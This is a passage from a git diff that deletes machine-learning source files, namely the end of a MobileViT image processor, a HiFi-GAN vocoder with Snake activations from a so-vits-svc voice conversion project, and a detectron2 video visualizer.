= None, - do_rescale: bool = None, - rescale_factor: float = None, - do_center_crop: bool = None, - crop_size: Dict[str, int] = None, - do_flip_channel_order: bool = None, - return_tensors: Optional[Union[str, TensorType]] = None, - data_format: ChannelDimension = ChannelDimension.FIRST, - input_data_format: Optional[Union[str, ChannelDimension]] = None, - **kwargs, - ) -> PIL.Image.Image: - """ - Preprocess an image or batch of images. - - Args: - images (`ImageInput`): - Image to preprocess. Expects a single or batch of images with pixel values ranging from 0 to 255. If - passing in images with pixel values between 0 and 1, set `do_rescale=False`. - do_resize (`bool`, *optional*, defaults to `self.do_resize`): - Whether to resize the image. - size (`Dict[str, int]`, *optional*, defaults to `self.size`): - Size of the image after resizing. - resample (`int`, *optional*, defaults to `self.resample`): - Resampling filter to use if resizing the image. This can be one of the enum `PILImageResampling`, Only - has an effect if `do_resize` is set to `True`. - do_rescale (`bool`, *optional*, defaults to `self.do_rescale`): - Whether to rescale the image by rescale factor. - rescale_factor (`float`, *optional*, defaults to `self.rescale_factor`): - Rescale factor to rescale the image by if `do_rescale` is set to `True`. - do_center_crop (`bool`, *optional*, defaults to `self.do_center_crop`): - Whether to center crop the image. - crop_size (`Dict[str, int]`, *optional*, defaults to `self.crop_size`): - Size of the center crop if `do_center_crop` is set to `True`. - do_flip_channel_order (`bool`, *optional*, defaults to `self.do_flip_channel_order`): - Whether to flip the channel order of the image. - return_tensors (`str` or `TensorType`, *optional*): - The type of tensors to return. Can be one of: - - Unset: Return a list of `np.ndarray`. - - `TensorType.TENSORFLOW` or `'tf'`: Return a batch of type `tf.Tensor`. - - `TensorType.PYTORCH` or `'pt'`: Return a batch of type `torch.Tensor`. - - `TensorType.NUMPY` or `'np'`: Return a batch of type `np.ndarray`. - - `TensorType.JAX` or `'jax'`: Return a batch of type `jax.numpy.ndarray`. - data_format (`ChannelDimension` or `str`, *optional*, defaults to `ChannelDimension.FIRST`): - The channel dimension format for the output image. Can be one of: - - `ChannelDimension.FIRST`: image in (num_channels, height, width) format. - - `ChannelDimension.LAST`: image in (height, width, num_channels) format. - input_data_format (`ChannelDimension` or `str`, *optional*): - The channel dimension format for the input image. If unset, the channel dimension format is inferred - from the input image. Can be one of: - - `"channels_first"` or `ChannelDimension.FIRST`: image in (num_channels, height, width) format. - - `"channels_last"` or `ChannelDimension.LAST`: image in (height, width, num_channels) format. - - `"none"` or `ChannelDimension.NONE`: image in (height, width) format. - """ - do_resize = do_resize if do_resize is not None else self.do_resize - resample = resample if resample is not None else self.resample - do_rescale = do_rescale if do_rescale is not None else self.do_rescale - rescale_factor = rescale_factor if rescale_factor is not None else self.rescale_factor - do_center_crop = do_center_crop if do_center_crop is not None else self.do_center_crop - do_flip_channel_order = ( - do_flip_channel_order if do_flip_channel_order is not None else self.do_flip_channel_order - ) - - size = size if size is not None else self.size - size = get_size_dict(size, default_to_square=False) - crop_size = crop_size if crop_size is not None else self.crop_size - crop_size = get_size_dict(crop_size, param_name="crop_size") - - images = make_list_of_images(images) - - if not valid_images(images): - raise ValueError( - "Invalid image type. Must be of type PIL.Image.Image, numpy.ndarray, " - "torch.Tensor, tf.Tensor or jax.ndarray." - ) - - if do_resize and size is None: - raise ValueError("Size must be specified if do_resize is True.") - - if do_rescale and rescale_factor is None: - raise ValueError("Rescale factor must be specified if do_rescale is True.") - - if do_center_crop and crop_size is None: - raise ValueError("Crop size must be specified if do_center_crop is True.") - - # All transformations expect numpy arrays. - images = [to_numpy_array(image) for image in images] - - if is_scaled_image(images[0]) and do_rescale: - logger.warning_once( - "It looks like you are trying to rescale already rescaled images. If the input" - " images have pixel values between 0 and 1, set `do_rescale=False` to avoid rescaling them again." - ) - - if input_data_format is None: - # We assume that all images have the same channel dimension format. - input_data_format = infer_channel_dimension_format(images[0]) - - if do_resize: - images = [ - self.resize(image=image, size=size, resample=resample, input_data_format=input_data_format) - for image in images - ] - - if do_center_crop: - images = [ - self.center_crop(image=image, size=crop_size, input_data_format=input_data_format) for image in images - ] - - if do_rescale: - images = [ - self.rescale(image=image, scale=rescale_factor, input_data_format=input_data_format) - for image in images - ] - - # the pretrained checkpoints assume images are BGR, not RGB - if do_flip_channel_order: - images = [self.flip_channel_order(image=image, input_data_format=input_data_format) for image in images] - - images = [ - to_channel_dimension_format(image, data_format, input_channel_dim=input_data_format) for image in images - ] - - data = {"pixel_values": images} - return BatchFeature(data=data, tensor_type=return_tensors) - - # Copied from transformers.models.beit.image_processing_beit.BeitImageProcessor.post_process_semantic_segmentation with Beit->MobileViT - def post_process_semantic_segmentation(self, outputs, target_sizes: List[Tuple] = None): - """ - Converts the output of [`MobileViTForSemanticSegmentation`] into semantic segmentation maps. Only supports - PyTorch. - - Args: - outputs ([`MobileViTForSemanticSegmentation`]): - Raw outputs of the model. - target_sizes (`List[Tuple]` of length `batch_size`, *optional*): - List of tuples corresponding to the requested final size (height, width) of each prediction. If unset, - predictions will not be resized. - - Returns: - semantic_segmentation: `List[torch.Tensor]` of length `batch_size`, where each item is a semantic - segmentation map of shape (height, width) corresponding to the target_sizes entry (if `target_sizes` is - specified). Each entry of each `torch.Tensor` correspond to a semantic class id. - """ - # TODO: add support for other frameworks - logits = outputs.logits - - # Resize logits and compute semantic segmentation maps - if target_sizes is not None: - if len(logits) != len(target_sizes): - raise ValueError( - "Make sure that you pass in as many target sizes as the batch dimension of the logits" - ) - - if is_torch_tensor(target_sizes): - target_sizes = target_sizes.numpy() - - semantic_segmentation = [] - - for idx in range(len(logits)): - resized_logits = torch.nn.functional.interpolate( - logits[idx].unsqueeze(dim=0), size=target_sizes[idx], mode="bilinear", align_corners=False - ) - semantic_map = resized_logits[0].argmax(dim=0) - semantic_segmentation.append(semantic_map) - else: - semantic_segmentation = logits.argmax(dim=1) - semantic_segmentation = [semantic_segmentation[i] for i in range(semantic_segmentation.shape[0])] - - return semantic_segmentation diff --git a/spaces/yl12053/so-vits-4.1-Matikanefukukitaru/vdecoder/hifiganwithsnake/models.py b/spaces/yl12053/so-vits-4.1-Matikanefukukitaru/vdecoder/hifiganwithsnake/models.py deleted file mode 100644 index 64f0e4dc985afd7993f78bb1b9743139990fa4d1..0000000000000000000000000000000000000000 --- a/spaces/yl12053/so-vits-4.1-Matikanefukukitaru/vdecoder/hifiganwithsnake/models.py +++ /dev/null @@ -1,518 +0,0 @@ -import os -import json -from .env import AttrDict -import numpy as np -import torch -import torch.nn.functional as F -import torch.nn as nn -from torch.nn import Conv1d, ConvTranspose1d, AvgPool1d, Conv2d -from torch.nn.utils import weight_norm, remove_weight_norm, spectral_norm -from .utils import init_weights, get_padding -from vdecoder.hifiganwithsnake.alias.act import SnakeAlias - -LRELU_SLOPE = 0.1 - - -def load_model(model_path, device='cuda'): - config_file = os.path.join(os.path.split(model_path)[0], 'config.json') - with open(config_file) as f: - data = f.read() - - global h - json_config = json.loads(data) - h = AttrDict(json_config) - - generator = Generator(h).to(device) - - cp_dict = torch.load(model_path) - generator.load_state_dict(cp_dict['generator']) - generator.eval() - generator.remove_weight_norm() - del cp_dict - return generator, h - - -class ResBlock1(torch.nn.Module): - def __init__(self, h, channels, kernel_size=3, dilation=(1, 3, 5)): - super(ResBlock1, self).__init__() - self.h = h - self.convs1 = nn.ModuleList([ - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=dilation[0], - padding=get_padding(kernel_size, dilation[0]))), - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=dilation[1], - padding=get_padding(kernel_size, dilation[1]))), - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=dilation[2], - padding=get_padding(kernel_size, dilation[2]))) - ]) - self.convs1.apply(init_weights) - - self.convs2 = nn.ModuleList([ - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=1, - padding=get_padding(kernel_size, 1))), - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=1, - padding=get_padding(kernel_size, 1))), - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=1, - padding=get_padding(kernel_size, 1))) - ]) - self.convs2.apply(init_weights) - - self.num_layers = len(self.convs1) + len(self.convs2) - self.activations = nn.ModuleList([ - SnakeAlias(channels) for _ in range(self.num_layers) - ]) - - def forward(self, x): - acts1, acts2 = self.activations[::2], self.activations[1::2] - for c1, c2, a1, a2 in zip(self.convs1, self.convs2, acts1, acts2): - xt = a1(x) - xt = c1(xt) - xt = a2(xt) - xt = c2(xt) - x = xt + x - return x - - def remove_weight_norm(self): - for l in self.convs1: - remove_weight_norm(l) - for l in self.convs2: - remove_weight_norm(l) - - -class ResBlock2(torch.nn.Module): - def __init__(self, h, channels, kernel_size=3, dilation=(1, 3)): - super(ResBlock2, self).__init__() - self.h = h - self.convs = nn.ModuleList([ - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=dilation[0], - padding=get_padding(kernel_size, dilation[0]))), - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=dilation[1], - padding=get_padding(kernel_size, dilation[1]))) - ]) - self.convs.apply(init_weights) - - self.num_layers = len(self.convs) - self.activations = nn.ModuleList([ - SnakeAlias(channels) for _ in range(self.num_layers) - ]) - - def forward(self, x): - for c,a in zip(self.convs, self.activations): - xt = a(x) - xt = c(xt) - x = xt + x - return x - - def remove_weight_norm(self): - for l in self.convs: - remove_weight_norm(l) - - -def padDiff(x): - return F.pad(F.pad(x, (0,0,-1,1), 'constant', 0) - x, (0,0,0,-1), 'constant', 0) - -class SineGen(torch.nn.Module): - """ Definition of sine generator - SineGen(samp_rate, harmonic_num = 0, - sine_amp = 0.1, noise_std = 0.003, - voiced_threshold = 0, - flag_for_pulse=False) - samp_rate: sampling rate in Hz - harmonic_num: number of harmonic overtones (default 0) - sine_amp: amplitude of sine-wavefrom (default 0.1) - noise_std: std of Gaussian noise (default 0.003) - voiced_thoreshold: F0 threshold for U/V classification (default 0) - flag_for_pulse: this SinGen is used inside PulseGen (default False) - Note: when flag_for_pulse is True, the first time step of a voiced - segment is always sin(np.pi) or cos(0) - """ - - def __init__(self, samp_rate, harmonic_num=0, - sine_amp=0.1, noise_std=0.003, - voiced_threshold=0, - flag_for_pulse=False): - super(SineGen, self).__init__() - self.sine_amp = sine_amp - self.noise_std = noise_std - self.harmonic_num = harmonic_num - self.dim = self.harmonic_num + 1 - self.sampling_rate = samp_rate - self.voiced_threshold = voiced_threshold - self.flag_for_pulse = flag_for_pulse - - def _f02uv(self, f0): - # generate uv signal - uv = (f0 > self.voiced_threshold).type(torch.float32) - return uv - - def _f02sine(self, f0_values): - """ f0_values: (batchsize, length, dim) - where dim indicates fundamental tone and overtones - """ - # convert to F0 in rad. The interger part n can be ignored - # because 2 * np.pi * n doesn't affect phase - rad_values = (f0_values / self.sampling_rate) % 1 - - # initial phase noise (no noise for fundamental component) - rand_ini = torch.rand(f0_values.shape[0], f0_values.shape[2], \ - device=f0_values.device) - rand_ini[:, 0] = 0 - rad_values[:, 0, :] = rad_values[:, 0, :] + rand_ini - - # instantanouse phase sine[t] = sin(2*pi \sum_i=1 ^{t} rad) - if not self.flag_for_pulse: - # for normal case - - # To prevent torch.cumsum numerical overflow, - # it is necessary to add -1 whenever \sum_k=1^n rad_value_k > 1. - # Buffer tmp_over_one_idx indicates the time step to add -1. - # This will not change F0 of sine because (x-1) * 2*pi = x * 2*pi - tmp_over_one = torch.cumsum(rad_values, 1) % 1 - tmp_over_one_idx = (padDiff(tmp_over_one)) < 0 - cumsum_shift = torch.zeros_like(rad_values) - cumsum_shift[:, 1:, :] = tmp_over_one_idx * -1.0 - - sines = torch.sin(torch.cumsum(rad_values + cumsum_shift, dim=1) - * 2 * np.pi) - else: - # If necessary, make sure that the first time step of every - # voiced segments is sin(pi) or cos(0) - # This is used for pulse-train generation - - # identify the last time step in unvoiced segments - uv = self._f02uv(f0_values) - uv_1 = torch.roll(uv, shifts=-1, dims=1) - uv_1[:, -1, :] = 1 - u_loc = (uv < 1) * (uv_1 > 0) - - # get the instantanouse phase - tmp_cumsum = torch.cumsum(rad_values, dim=1) - # different batch needs to be processed differently - for idx in range(f0_values.shape[0]): - temp_sum = tmp_cumsum[idx, u_loc[idx, :, 0], :] - temp_sum[1:, :] = temp_sum[1:, :] - temp_sum[0:-1, :] - # stores the accumulation of i.phase within - # each voiced segments - tmp_cumsum[idx, :, :] = 0 - tmp_cumsum[idx, u_loc[idx, :, 0], :] = temp_sum - - # rad_values - tmp_cumsum: remove the accumulation of i.phase - # within the previous voiced segment. - i_phase = torch.cumsum(rad_values - tmp_cumsum, dim=1) - - # get the sines - sines = torch.cos(i_phase * 2 * np.pi) - return sines - - def forward(self, f0): - """ sine_tensor, uv = forward(f0) - input F0: tensor(batchsize=1, length, dim=1) - f0 for unvoiced steps should be 0 - output sine_tensor: tensor(batchsize=1, length, dim) - output uv: tensor(batchsize=1, length, 1) - """ - with torch.no_grad(): - f0_buf = torch.zeros(f0.shape[0], f0.shape[1], self.dim, - device=f0.device) - # fundamental component - fn = torch.multiply(f0, torch.FloatTensor([[range(1, self.harmonic_num + 2)]]).to(f0.device)) - - # generate sine waveforms - sine_waves = self._f02sine(fn) * self.sine_amp - - # generate uv signal - # uv = torch.ones(f0.shape) - # uv = uv * (f0 > self.voiced_threshold) - uv = self._f02uv(f0) - - # noise: for unvoiced should be similar to sine_amp - # std = self.sine_amp/3 -> max value ~ self.sine_amp - # . for voiced regions is self.noise_std - noise_amp = uv * self.noise_std + (1 - uv) * self.sine_amp / 3 - noise = noise_amp * torch.randn_like(sine_waves) - - # first: set the unvoiced part to 0 by uv - # then: additive noise - sine_waves = sine_waves * uv + noise - return sine_waves, uv, noise - - -class SourceModuleHnNSF(torch.nn.Module): - """ SourceModule for hn-nsf - SourceModule(sampling_rate, harmonic_num=0, sine_amp=0.1, - add_noise_std=0.003, voiced_threshod=0) - sampling_rate: sampling_rate in Hz - harmonic_num: number of harmonic above F0 (default: 0) - sine_amp: amplitude of sine source signal (default: 0.1) - add_noise_std: std of additive Gaussian noise (default: 0.003) - note that amplitude of noise in unvoiced is decided - by sine_amp - voiced_threshold: threhold to set U/V given F0 (default: 0) - Sine_source, noise_source = SourceModuleHnNSF(F0_sampled) - F0_sampled (batchsize, length, 1) - Sine_source (batchsize, length, 1) - noise_source (batchsize, length 1) - uv (batchsize, length, 1) - """ - - def __init__(self, sampling_rate, harmonic_num=0, sine_amp=0.1, - add_noise_std=0.003, voiced_threshod=0): - super(SourceModuleHnNSF, self).__init__() - - self.sine_amp = sine_amp - self.noise_std = add_noise_std - - # to produce sine waveforms - self.l_sin_gen = SineGen(sampling_rate, harmonic_num, - sine_amp, add_noise_std, voiced_threshod) - - # to merge source harmonics into a single excitation - self.l_linear = torch.nn.Linear(harmonic_num + 1, 1) - self.l_tanh = torch.nn.Tanh() - - def forward(self, x): - """ - Sine_source, noise_source = SourceModuleHnNSF(F0_sampled) - F0_sampled (batchsize, length, 1) - Sine_source (batchsize, length, 1) - noise_source (batchsize, length 1) - """ - # source for harmonic branch - sine_wavs, uv, _ = self.l_sin_gen(x) - sine_merge = self.l_tanh(self.l_linear(sine_wavs)) - - # source for noise branch, in the same shape as uv - noise = torch.randn_like(uv) * self.sine_amp / 3 - return sine_merge, noise, uv - - -class Generator(torch.nn.Module): - def __init__(self, h): - super(Generator, self).__init__() - self.h = h - - self.num_kernels = len(h["resblock_kernel_sizes"]) - self.num_upsamples = len(h["upsample_rates"]) - self.f0_upsamp = torch.nn.Upsample(scale_factor=np.prod(h["upsample_rates"])) - self.m_source = SourceModuleHnNSF( - sampling_rate=h["sampling_rate"], - harmonic_num=8) - self.noise_convs = nn.ModuleList() - self.conv_pre = weight_norm(Conv1d(h["inter_channels"], h["upsample_initial_channel"], 7, 1, padding=3)) - resblock = ResBlock1 if h["resblock"] == '1' else ResBlock2 - self.ups = nn.ModuleList() - for i, (u, k) in enumerate(zip(h["upsample_rates"], h["upsample_kernel_sizes"])): - c_cur = h["upsample_initial_channel"] // (2 ** (i + 1)) - self.ups.append(weight_norm( - ConvTranspose1d(h["upsample_initial_channel"] // (2 ** i), h["upsample_initial_channel"] // (2 ** (i + 1)), - k, u, padding=(k - u + 1) // 2))) - if i + 1 < len(h["upsample_rates"]): # - stride_f0 = np.prod(h["upsample_rates"][i + 1:]) - self.noise_convs.append(Conv1d( - 1, c_cur, kernel_size=stride_f0 * 2, stride=stride_f0, padding=(stride_f0+ 1) // 2)) - else: - self.noise_convs.append(Conv1d(1, c_cur, kernel_size=1)) - self.resblocks = nn.ModuleList() - self.snakes = nn.ModuleList() - for i in range(len(self.ups)): - ch = h["upsample_initial_channel"] // (2 ** (i + 1)) - self.snakes.append(SnakeAlias(h["upsample_initial_channel"] // (2 ** (i)))) - for j, (k, d) in enumerate(zip(h["resblock_kernel_sizes"], h["resblock_dilation_sizes"])): - self.resblocks.append(resblock(h, ch, k, d)) - - self.conv_post = weight_norm(Conv1d(ch, 1, 7, 1, padding=3)) - self.ups.apply(init_weights) - self.conv_post.apply(init_weights) - self.snake_post = SnakeAlias(ch) - self.cond = nn.Conv1d(h['gin_channels'], h['upsample_initial_channel'], 1) - - def forward(self, x, f0, g=None): - # print(1,x.shape,f0.shape,f0[:, None].shape) - f0 = self.f0_upsamp(f0[:, None]).transpose(1, 2) # bs,n,t - # print(2,f0.shape) - har_source, noi_source, uv = self.m_source(f0) - har_source = har_source.transpose(1, 2) - x = self.conv_pre(x) - x = x + self.cond(g) - # print(124,x.shape,har_source.shape) - for i in range(self.num_upsamples): - x = self.snakes[i](x) - # print(3,x.shape) - x = self.ups[i](x) - x_source = self.noise_convs[i](har_source) - # print(4,x_source.shape,har_source.shape,x.shape) - x = x + x_source - xs = None - for j in range(self.num_kernels): - if xs is None: - xs = self.resblocks[i * self.num_kernels + j](x) - else: - xs += self.resblocks[i * self.num_kernels + j](x) - x = xs / self.num_kernels - x = self.snake_post(x) - x = self.conv_post(x) - x = torch.tanh(x) - - return x - - def remove_weight_norm(self): - print('Removing weight norm...') - for l in self.ups: - remove_weight_norm(l) - for l in self.resblocks: - l.remove_weight_norm() - remove_weight_norm(self.conv_pre) - remove_weight_norm(self.conv_post) - - -class DiscriminatorP(torch.nn.Module): - def __init__(self, period, kernel_size=5, stride=3, use_spectral_norm=False): - super(DiscriminatorP, self).__init__() - self.period = period - norm_f = weight_norm if use_spectral_norm == False else spectral_norm - self.convs = nn.ModuleList([ - norm_f(Conv2d(1, 32, (kernel_size, 1), (stride, 1), padding=(get_padding(5, 1), 0))), - norm_f(Conv2d(32, 128, (kernel_size, 1), (stride, 1), padding=(get_padding(5, 1), 0))), - norm_f(Conv2d(128, 512, (kernel_size, 1), (stride, 1), padding=(get_padding(5, 1), 0))), - norm_f(Conv2d(512, 1024, (kernel_size, 1), (stride, 1), padding=(get_padding(5, 1), 0))), - norm_f(Conv2d(1024, 1024, (kernel_size, 1), 1, padding=(2, 0))), - ]) - self.conv_post = norm_f(Conv2d(1024, 1, (3, 1), 1, padding=(1, 0))) - - def forward(self, x): - fmap = [] - - # 1d to 2d - b, c, t = x.shape - if t % self.period != 0: # pad first - n_pad = self.period - (t % self.period) - x = F.pad(x, (0, n_pad), "reflect") - t = t + n_pad - x = x.view(b, c, t // self.period, self.period) - - for l in self.convs: - x = l(x) - x = F.leaky_relu(x, LRELU_SLOPE) - fmap.append(x) - x = self.conv_post(x) - fmap.append(x) - x = torch.flatten(x, 1, -1) - - return x, fmap - - -class MultiPeriodDiscriminator(torch.nn.Module): - def __init__(self, periods=None): - super(MultiPeriodDiscriminator, self).__init__() - self.periods = periods if periods is not None else [2, 3, 5, 7, 11] - self.discriminators = nn.ModuleList() - for period in self.periods: - self.discriminators.append(DiscriminatorP(period)) - - def forward(self, y, y_hat): - y_d_rs = [] - y_d_gs = [] - fmap_rs = [] - fmap_gs = [] - for i, d in enumerate(self.discriminators): - y_d_r, fmap_r = d(y) - y_d_g, fmap_g = d(y_hat) - y_d_rs.append(y_d_r) - fmap_rs.append(fmap_r) - y_d_gs.append(y_d_g) - fmap_gs.append(fmap_g) - - return y_d_rs, y_d_gs, fmap_rs, fmap_gs - - -class DiscriminatorS(torch.nn.Module): - def __init__(self, use_spectral_norm=False): - super(DiscriminatorS, self).__init__() - norm_f = weight_norm if use_spectral_norm == False else spectral_norm - self.convs = nn.ModuleList([ - norm_f(Conv1d(1, 128, 15, 1, padding=7)), - norm_f(Conv1d(128, 128, 41, 2, groups=4, padding=20)), - norm_f(Conv1d(128, 256, 41, 2, groups=16, padding=20)), - norm_f(Conv1d(256, 512, 41, 4, groups=16, padding=20)), - norm_f(Conv1d(512, 1024, 41, 4, groups=16, padding=20)), - norm_f(Conv1d(1024, 1024, 41, 1, groups=16, padding=20)), - norm_f(Conv1d(1024, 1024, 5, 1, padding=2)), - ]) - self.conv_post = norm_f(Conv1d(1024, 1, 3, 1, padding=1)) - - def forward(self, x): - fmap = [] - for l in self.convs: - x = l(x) - x = F.leaky_relu(x, LRELU_SLOPE) - fmap.append(x) - x = self.conv_post(x) - fmap.append(x) - x = torch.flatten(x, 1, -1) - - return x, fmap - - -class MultiScaleDiscriminator(torch.nn.Module): - def __init__(self): - super(MultiScaleDiscriminator, self).__init__() - self.discriminators = nn.ModuleList([ - DiscriminatorS(use_spectral_norm=True), - DiscriminatorS(), - DiscriminatorS(), - ]) - self.meanpools = nn.ModuleList([ - AvgPool1d(4, 2, padding=2), - AvgPool1d(4, 2, padding=2) - ]) - - def forward(self, y, y_hat): - y_d_rs = [] - y_d_gs = [] - fmap_rs = [] - fmap_gs = [] - for i, d in enumerate(self.discriminators): - if i != 0: - y = self.meanpools[i - 1](y) - y_hat = self.meanpools[i - 1](y_hat) - y_d_r, fmap_r = d(y) - y_d_g, fmap_g = d(y_hat) - y_d_rs.append(y_d_r) - fmap_rs.append(fmap_r) - y_d_gs.append(y_d_g) - fmap_gs.append(fmap_g) - - return y_d_rs, y_d_gs, fmap_rs, fmap_gs - - -def feature_loss(fmap_r, fmap_g): - loss = 0 - for dr, dg in zip(fmap_r, fmap_g): - for rl, gl in zip(dr, dg): - loss += torch.mean(torch.abs(rl - gl)) - - return loss * 2 - - -def discriminator_loss(disc_real_outputs, disc_generated_outputs): - loss = 0 - r_losses = [] - g_losses = [] - for dr, dg in zip(disc_real_outputs, disc_generated_outputs): - r_loss = torch.mean((1 - dr) ** 2) - g_loss = torch.mean(dg ** 2) - loss += (r_loss + g_loss) - r_losses.append(r_loss.item()) - g_losses.append(g_loss.item()) - - return loss, r_losses, g_losses - - -def generator_loss(disc_outputs): - loss = 0 - gen_losses = [] - for dg in disc_outputs: - l = torch.mean((1 - dg) ** 2) - gen_losses.append(l) - loss += l - - return loss, gen_losses diff --git a/spaces/ynhe/AskAnything/models/grit_src/third_party/CenterNet2/detectron2/utils/video_visualizer.py b/spaces/ynhe/AskAnything/models/grit_src/third_party/CenterNet2/detectron2/utils/video_visualizer.py deleted file mode 100644 index 9d8a366d3ca78c1824eff62f6fe422542075f055..0000000000000000000000000000000000000000 --- a/spaces/ynhe/AskAnything/models/grit_src/third_party/CenterNet2/detectron2/utils/video_visualizer.py +++ /dev/null @@ -1,252 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. -import numpy as np -import pycocotools.mask as mask_util - -from detectron2.utils.visualizer import ( - ColorMode, - Visualizer, - _create_text_labels, - _PanopticPrediction, -) - -from .colormap import random_color - - -class _DetectedInstance: - """ - Used to store data about detected objects in video frame, - in order to transfer color to objects in the future frames. - - Attributes: - label (int): - bbox (tuple[float]): - mask_rle (dict): - color (tuple[float]): RGB colors in range (0, 1) - ttl (int): time-to-live for the instance. For example, if ttl=2, - the instance color can be transferred to objects in the next two frames. - """ - - __slots__ = ["label", "bbox", "mask_rle", "color", "ttl"] - - def __init__(self, label, bbox, mask_rle, color, ttl): - self.label = label - self.bbox = bbox - self.mask_rle = mask_rle - self.color = color - self.ttl = ttl - - -class VideoVisualizer: - def __init__(self, metadata, instance_mode=ColorMode.IMAGE): - """ - Args: - metadata (MetadataCatalog): image metadata. - """ - self.metadata = metadata - self._old_instances = [] - assert instance_mode in [ - ColorMode.IMAGE, - ColorMode.IMAGE_BW, - ], "Other mode not supported yet." - self._instance_mode = instance_mode - - def draw_instance_predictions(self, frame, predictions): - """ - Draw instance-level prediction results on an image. - - Args: - frame (ndarray): an RGB image of shape (H, W, C), in the range [0, 255]. - predictions (Instances): the output of an instance detection/segmentation - model. Following fields will be used to draw: - "pred_boxes", "pred_classes", "scores", "pred_masks" (or "pred_masks_rle"). - - Returns: - output (VisImage): image object with visualizations. - """ - frame_visualizer = Visualizer(frame, self.metadata) - num_instances = len(predictions) - if num_instances == 0: - return frame_visualizer.output - - boxes = predictions.pred_boxes.tensor.numpy() if predictions.has("pred_boxes") else None - scores = predictions.scores if predictions.has("scores") else None - classes = predictions.pred_classes.numpy() if predictions.has("pred_classes") else None - keypoints = predictions.pred_keypoints if predictions.has("pred_keypoints") else None - colors = predictions.COLOR if predictions.has("COLOR") else [None] * len(predictions) - durations = predictions.ID_duration if predictions.has("ID_duration") else None - duration_threshold = self.metadata.get("duration_threshold", 0) - visibilities = None if durations is None else [x > duration_threshold for x in durations] - - if predictions.has("pred_masks"): - masks = predictions.pred_masks - # mask IOU is not yet enabled - # masks_rles = mask_util.encode(np.asarray(masks.permute(1, 2, 0), order="F")) - # assert len(masks_rles) == num_instances - else: - masks = None - - detected = [ - _DetectedInstance(classes[i], boxes[i], mask_rle=None, color=colors[i], ttl=8) - for i in range(num_instances) - ] - if not predictions.has("COLOR"): - colors = self._assign_colors(detected) - - labels = _create_text_labels(classes, scores, self.metadata.get("thing_classes", None)) - - if self._instance_mode == ColorMode.IMAGE_BW: - # any() returns uint8 tensor - frame_visualizer.output.reset_image( - frame_visualizer._create_grayscale_image( - (masks.any(dim=0) > 0).numpy() if masks is not None else None - ) - ) - alpha = 0.3 - else: - alpha = 0.5 - - labels = ( - None - if labels is None - else [y[0] for y in filter(lambda x: x[1], zip(labels, visibilities))] - ) # noqa - assigned_colors = ( - None - if colors is None - else [y[0] for y in filter(lambda x: x[1], zip(colors, visibilities))] - ) # noqa - frame_visualizer.overlay_instances( - boxes=None if masks is not None else boxes[visibilities], # boxes are a bit distracting - masks=None if masks is None else masks[visibilities], - labels=labels, - keypoints=None if keypoints is None else keypoints[visibilities], - assigned_colors=assigned_colors, - alpha=alpha, - ) - - return frame_visualizer.output - - def draw_sem_seg(self, frame, sem_seg, area_threshold=None): - """ - Args: - sem_seg (ndarray or Tensor): semantic segmentation of shape (H, W), - each value is the integer label. - area_threshold (Optional[int]): only draw segmentations larger than the threshold - """ - # don't need to do anything special - frame_visualizer = Visualizer(frame, self.metadata) - frame_visualizer.draw_sem_seg(sem_seg, area_threshold=None) - return frame_visualizer.output - - def draw_panoptic_seg_predictions( - self, frame, panoptic_seg, segments_info, area_threshold=None, alpha=0.5 - ): - frame_visualizer = Visualizer(frame, self.metadata) - pred = _PanopticPrediction(panoptic_seg, segments_info, self.metadata) - - if self._instance_mode == ColorMode.IMAGE_BW: - frame_visualizer.output.reset_image( - frame_visualizer._create_grayscale_image(pred.non_empty_mask()) - ) - - # draw mask for all semantic segments first i.e. "stuff" - for mask, sinfo in pred.semantic_masks(): - category_idx = sinfo["category_id"] - try: - mask_color = [x / 255 for x in self.metadata.stuff_colors[category_idx]] - except AttributeError: - mask_color = None - - frame_visualizer.draw_binary_mask( - mask, - color=mask_color, - text=self.metadata.stuff_classes[category_idx], - alpha=alpha, - area_threshold=area_threshold, - ) - - all_instances = list(pred.instance_masks()) - if len(all_instances) == 0: - return frame_visualizer.output - # draw mask for all instances second - masks, sinfo = list(zip(*all_instances)) - num_instances = len(masks) - masks_rles = mask_util.encode( - np.asarray(np.asarray(masks).transpose(1, 2, 0), dtype=np.uint8, order="F") - ) - assert len(masks_rles) == num_instances - - category_ids = [x["category_id"] for x in sinfo] - detected = [ - _DetectedInstance(category_ids[i], bbox=None, mask_rle=masks_rles[i], color=None, ttl=8) - for i in range(num_instances) - ] - colors = self._assign_colors(detected) - labels = [self.metadata.thing_classes[k] for k in category_ids] - - frame_visualizer.overlay_instances( - boxes=None, - masks=masks, - labels=labels, - keypoints=None, - assigned_colors=colors, - alpha=alpha, - ) - return frame_visualizer.output - - def _assign_colors(self, instances): - """ - Naive tracking heuristics to assign same color to the same instance, - will update the internal state of tracked instances. - - Returns: - list[tuple[float]]: list of colors. - """ - - # Compute iou with either boxes or masks: - is_crowd = np.zeros((len(instances),), dtype=np.bool) - if instances[0].bbox is None: - assert instances[0].mask_rle is not None - # use mask iou only when box iou is None - # because box seems good enough - rles_old = [x.mask_rle for x in self._old_instances] - rles_new = [x.mask_rle for x in instances] - ious = mask_util.iou(rles_old, rles_new, is_crowd) - threshold = 0.5 - else: - boxes_old = [x.bbox for x in self._old_instances] - boxes_new = [x.bbox for x in instances] - ious = mask_util.iou(boxes_old, boxes_new, is_crowd) - threshold = 0.6 - if len(ious) == 0: - ious = np.zeros((len(self._old_instances), len(instances)), dtype="float32") - - # Only allow matching instances of the same label: - for old_idx, old in enumerate(self._old_instances): - for new_idx, new in enumerate(instances): - if old.label != new.label: - ious[old_idx, new_idx] = 0 - - matched_new_per_old = np.asarray(ious).argmax(axis=1) - max_iou_per_old = np.asarray(ious).max(axis=1) - - # Try to find match for each old instance: - extra_instances = [] - for idx, inst in enumerate(self._old_instances): - if max_iou_per_old[idx] > threshold: - newidx = matched_new_per_old[idx] - if instances[newidx].color is None: - instances[newidx].color = inst.color - continue - # If an old instance does not match any new instances, - # keep it for the next frame in case it is just missed by the detector - inst.ttl -= 1 - if inst.ttl > 0: - extra_instances.append(inst) - - # Assign random color to newly-detected instances: - for inst in instances: - if inst.color is None: - inst.color = random_color(rgb=True, maximum=1) - self._old_instances = 